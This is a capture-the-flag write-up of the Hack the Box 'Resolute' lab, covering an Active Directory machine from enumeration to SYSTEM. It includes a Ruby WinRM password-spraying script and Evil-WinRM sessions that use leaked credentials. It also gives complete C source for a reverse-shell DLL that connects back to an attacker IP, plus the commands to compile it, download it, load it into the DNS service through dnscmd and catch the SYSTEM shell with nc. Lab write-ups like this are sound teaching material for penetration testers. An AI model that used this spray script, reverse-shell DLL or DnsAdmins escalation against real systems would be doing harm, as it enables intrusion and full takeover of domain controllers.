Hack the Box: Resolute
Hack the Box: Resolute#
Resolute was a medium difficulty box on Hack the Box. Here’s my take on solving the challenge.

Resolute
TL;DR: RpcClient querydispinfo reveals a password that can be sprayed on the listed users. It allows to get a remote powershell through Windows Remote Managment. The access can be used to find Powershell history file that reveals credentials to user Ryan. This user is a member of DnsAdmins group. It allows to configure DNS server to load an arbitrary DLL. It can be exploited to run the revese shell DLL with SYSTEM privleges.
User#
Nmap scan reveals an AD server:
# nmap -sS -sV -n resolute.htb -p-
-- snip --
PORT STATE SERVICE VERSION
53/tcp open domain?
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2019-12-09 23:27:07Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: MEGABANK)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc Microsoft Windows RPC
49688/tcp open msrpc Microsoft Windows RPC
49910/tcp open msrpc Microsoft Windows RPC
51948/tcp open tcpwrapped
-- snip --
Rpcclient reveals a bunch of users and a password Welcome123! for Marko:
# rpcclient -c querydispinfo -U''%'' 'resolute.htb'
index: 0x10b0 RID: 0x19ca acb: 0x00000010 Account: abigail Name: (null) Desc: (null)
index: 0xfbc RID: 0x1f4 acb: 0x00000210 Account: Administrator Name: (null) Desc: Built-in account for administering the computer/domain
index: 0x10b4 RID: 0x19ce acb: 0x00000010 Account: angela Name: (null) Desc: (null)
index: 0x10bc RID: 0x19d6 acb: 0x00000010 Account: annette Name: (null) Desc: (null)
index: 0x10bd RID: 0x19d7 acb: 0x00000010 Account: annika Name: (null) Desc: (null)
index: 0x10b9 RID: 0x19d3 acb: 0x00000010 Account: claire Name: (null) Desc: (null)
index: 0x10bf RID: 0x19d9 acb: 0x00000010 Account: claude Name: (null) Desc: (null)
index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount Name: (null) Desc: A user account managed by the system.
index: 0x10b5 RID: 0x19cf acb: 0x00000010 Account: felicia Name: (null) Desc: (null)
index: 0x10b3 RID: 0x19cd acb: 0x00000010 Account: fred Name: (null) Desc: (null)
index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0x10b6 RID: 0x19d0 acb: 0x00000010 Account: gustavo Name: (null) Desc: (null)
index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service Account
index: 0x10b1 RID: 0x19cb acb: 0x00000010 Account: marcus Name: (null) Desc: (null)
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak Desc: Account created. Password set to Welcome123!
index: 0x10c0 RID: 0x2775 acb: 0x00000010 Account: melanie Name: (null) Desc: (null)
index: 0x10c3 RID: 0x2778 acb: 0x00000010 Account: naoki Name: (null) Desc: (null)
index: 0x10ba RID: 0x19d4 acb: 0x00000010 Account: paulo Name: (null) Desc: (null)
index: 0x10be RID: 0x19d8 acb: 0x00000010 Account: per Name: (null) Desc: (null)
index: 0x10a3 RID: 0x451 acb: 0x00000210 Account: ryan Name: Ryan Bertrand Desc: (null)
index: 0x10b2 RID: 0x19cc acb: 0x00000010 Account: sally Name: (null) Desc: (null)
index: 0x10c2 RID: 0x2777 acb: 0x00000010 Account: simon Name: (null) Desc: (null)
index: 0x10bb RID: 0x19d5 acb: 0x00000010 Account: steve Name: (null) Desc: (null)
index: 0x10b8 RID: 0x19d2 acb: 0x00000010 Account: stevie Name: (null) Desc: (null)
index: 0x10af RID: 0x19c9 acb: 0x00000010 Account: sunita Name: (null) Desc: (null)
index: 0x10b7 RID: 0x19d1 acb: 0x00000010 Account: ulf Name: (null) Desc: (null)
index: 0x10c1 RID: 0x2776 acb: 0x00000010 Account: zach Name: (null) Desc: (null)
Unfortunately for attacker the password doesn’t work for user Marko. The following script allows to test this password with other revealed logins:
require 'winrm'
usernames=['abigail', 'Administrator', 'angela', 'annette', 'annika', 'claire', 'claude','felicia','fred','gustavo','marcus','marko','melanie','naoki','paulo','per','ryan','sally','simon','steve','stevie','sunita','ulf','zach']
passwords=['Welcome123!']
usernames.each do |username|
passwords.each do |password|
begin
conn = WinRM::Connection.new(
endpoint: 'http://10.10.10.169:5985/wsman',
user: username,
password: password,
)
conn.shell(:powershell) do |shell|
shell.run('whoami') do |stdout, stderr|
STDOUT.print stdout
STDERR.print stderr
end
end
puts "#{username}:#{password} succeded"
rescue Exception => ex
puts "#{username}:#{password} failed"
end
end
end
Running above script reveals that password works for melanie:
# ruby spray_pass.rb
abigail:Welcome123! failed
Administrator:Welcome123! failed
-- snip --
megabank\melanie
melanie:Welcome123! succeded
-- snip --
Now it’s possilbe to use EvilWinRM client to gain shell on the victim and grab the user flag:
# ruby evil-winrm/evil-winrm.rb -i resolute.htb -u melanie
Enter Password: Welcome123!
Evil-WinRM shell v2.0
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\melanie\Documents> whoami
megabank\melanie
*Evil-WinRM* PS C:\Users\melanie\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\melanie\Desktop> type user.txt
0c3...
Privlege escalation#
Gaining SYSTEM privleges can be divided in two stages. First, it’s needed to move lateraly to Ryan user. Then escalate that access to SYSTEM.
Ryan user#
Listing content of C: root reveals an interesting hidden folder PSTranscripts:
*Evil-WinRM* PS C:\> dir -force
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d--hs- 12/3/2019 6:40 AM $RECYCLE.BIN
d--hsl 9/25/2019 10:17 AM Documents and Settings
d----- 9/25/2019 6:19 AM PerfLogs
d-r--- 9/25/2019 12:39 PM Program Files
d----- 11/20/2016 6:36 PM Program Files (x86)
d--h-- 9/25/2019 10:48 AM ProgramData
d--h-- 12/3/2019 6:32 AM PSTranscripts
d--hs- 9/25/2019 10:17 AM Recovery
d--hs- 9/25/2019 6:25 AM System Volume Information
d-r--- 12/4/2019 2:46 AM Users
d----- 12/4/2019 5:15 AM Windows
-arhs- 11/20/2016 5:59 PM 389408 bootmgr
-a-hs- 7/16/2016 6:10 AM 1 BOOTNXT
-a-hs- 12/13/2019 7:14 AM 402653184 pagefile.sys
*Evil-WinRM* PS C:\> dir -force
Directory: C:\
Inside there’s a text file that contains a PS commandsd log. The commands reveal Ryan users log:
*Evil-WinRM* PS C:\Pstranscripts\20191203> type PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
With that knowledge it’s possible to authorize as ryan to the victim:
# ruby evil-winrm/evil-winrm.rb -i resolute.htb -u ryan
Enter Password: Serv3r4Admin4cc123!
Evil-WinRM shell v2.0
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\ryan\Documents> whoami
megabank\ryan
# ruby evil-winrm/evil-winrm.rb -i resolute.htb -u ryan
Enter Password:
Evil-WinRM shell v2.0
Info: Establishing connection to remote endpoint
SYSTEM privleges#
Ryan user is a member o a group DnsAdmins:
*Evil-WinRM* PS C:\Users\ryan\Documents> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============================================== ===============================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
MEGABANK\Contractors Group S-1-5-21-1392959593-3013219662-3596683436-1103 Mandatory group, Enabled by default, Enabled group
MEGABANK\DnsAdmins Alias S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
That means that DNS service can be exploited to load an arbitrary DLL. The following code should return a revese shell to attackers machine:
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")
#define REVERSEIP "10.10.14.70"
#define REVERSEPORT 443
WSADATA wsaData;
SOCKET Winsock;
SOCKET Sock;
struct sockaddr_in hax;
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
{
printf("PROCESS_ATTACH");
WSAStartup(MAKEWORD(2,2), &wsaData);
Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
hax.sin_family = AF_INET;
hax.sin_port = htons(REVERSEPORT);
hax.sin_addr.s_addr = inet_addr(REVERSEIP);
WSAConnect(Winsock,(SOCKADDR*)&hax,sizeof(hax),NULL,NULL,NULL,NULL);
memset(&ini_processo,0,sizeof(ini_processo));
ini_processo.cb=sizeof(ini_processo);
ini_processo.dwFlags=STARTF_USESTDHANDLES;
ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
char cmdline[] = "cmd.exe";
CreateProcess(NULL,cmdline,NULL,NULL,TRUE,0,NULL,NULL,&ini_processo,&processo_info);
break;
}
case DLL_THREAD_ATTACH:
printf("DLL_THREAD_ATTACH");
break;
case DLL_THREAD_DETACH:
printf("DLL_THREAD_DETACH");
break;
case DLL_PROCESS_DETACH:
printf("DLL_PROCESS_DETACH");
break;
}
return TRUE;
}
Before compiling it’s good to determine the CPU architecture on the victim:
*Evil-WinRM* PS C:\Users\ryan\Documents> [Environment]::Is64BitOperatingSystem
True
Above code can be cross compiled for 64-bit Windows on Linux machine using commands:
# x86_64-w64-mingw32-g++ -c shell.c
# x86_64-w64-mingw32-g++ -shared shell.o -o shell.dll -l ws2_32
Now, the built dll can be served through HTTP on attackers machine. On the victim it can be downloaded and injected to the DNS service:
*Evil-WinRM* PS C:\Users\ryan\Documents> wget 10.10.14.70/shell.dll -o shell.dll
*Evil-WinRM* PS C:\Users\ryan\Documents> dnscmd /config /serverlevelplugindll "C:\Users\ryan\Documents\shell.dll"
Registry property serverlevelplugindll successfully reset.
Command completed successfully.
*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe stop dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x1
WAIT_HINT : 0x7530
*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe start dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 2656
FLAGS :
If everything went well the attacker’s machine should receive a reverse shell with SYSTEM privleges:
# nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.70] from (UNKNOWN) [10.10.10.169] 61774
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop>type root.txt
type root.txt
e1d...